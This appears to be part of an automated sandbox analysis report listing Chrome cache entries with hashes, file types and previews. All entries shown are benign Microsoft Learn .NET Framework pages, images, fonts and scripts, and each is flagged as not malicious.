Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	downloaded
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-ignite-2024.jpg
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
